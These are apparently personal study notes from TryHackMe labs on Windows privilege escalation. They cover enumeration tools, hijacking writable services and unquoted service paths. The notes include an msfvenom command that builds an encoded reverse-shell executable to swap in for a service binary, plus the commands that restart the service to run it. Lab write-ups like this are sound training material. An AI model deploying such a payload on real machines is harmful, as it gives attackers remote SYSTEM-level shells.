> For the complete documentation index, see [llms.txt](https://shafagh.gitbook.io/try-hack-me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shafagh.gitbook.io/try-hack-me/complete-begginer/privilege-esclation/windows.md).

# windows

## Enumeration

run scripts such as PowerUp (PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.) and Winpeas.

## Writable and restartable services

<figure><img src="/files/5JIrUwdjtd43IMsn1RjK" alt=""><figcaption><p>an example</p></figcaption></figure>

in this example we can replace `ASCService.exe` with a payload and get a root reverse shell.

`msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe`

then restart the service:

```powershell
C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemService9
[output...]
C:\Program Files (x86)\IObit\Advanced SystemCare>sc start AdvancedSystemService9
```

## Unquoted service path

<figure><img src="/files/cnaybyJ9GHdVYQyBaRbT" alt=""><figcaption></figcaption></figure>

we can exploit this vulnerability by putting a payload named `Advanced.exe` in `C:\Program Files (x86)\IObit\`.

then again restart the service and the payload gets executed.

```
C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemService9
[output...]
C:\Program Files (x86)\IObit\Advanced SystemCare>sc start AdvancedSystemService9
```

explenation at <https://juggernaut-sec.com/unquoted-service-paths/>.

eg.

if we have a service at **C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe**

Since there are spaces and no quotes in the file path to the service executable, the service will attempt to start by treating each part of the folder name before the space as an executable that resides in the previous folder, like so:

* C:\Program.exe
* C:\Program Files\Juggernaut.exe
* C:\Program Files\Juggernaut Prod\Production.exe
* C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shafagh.gitbook.io/try-hack-me/complete-begginer/privilege-esclation/windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
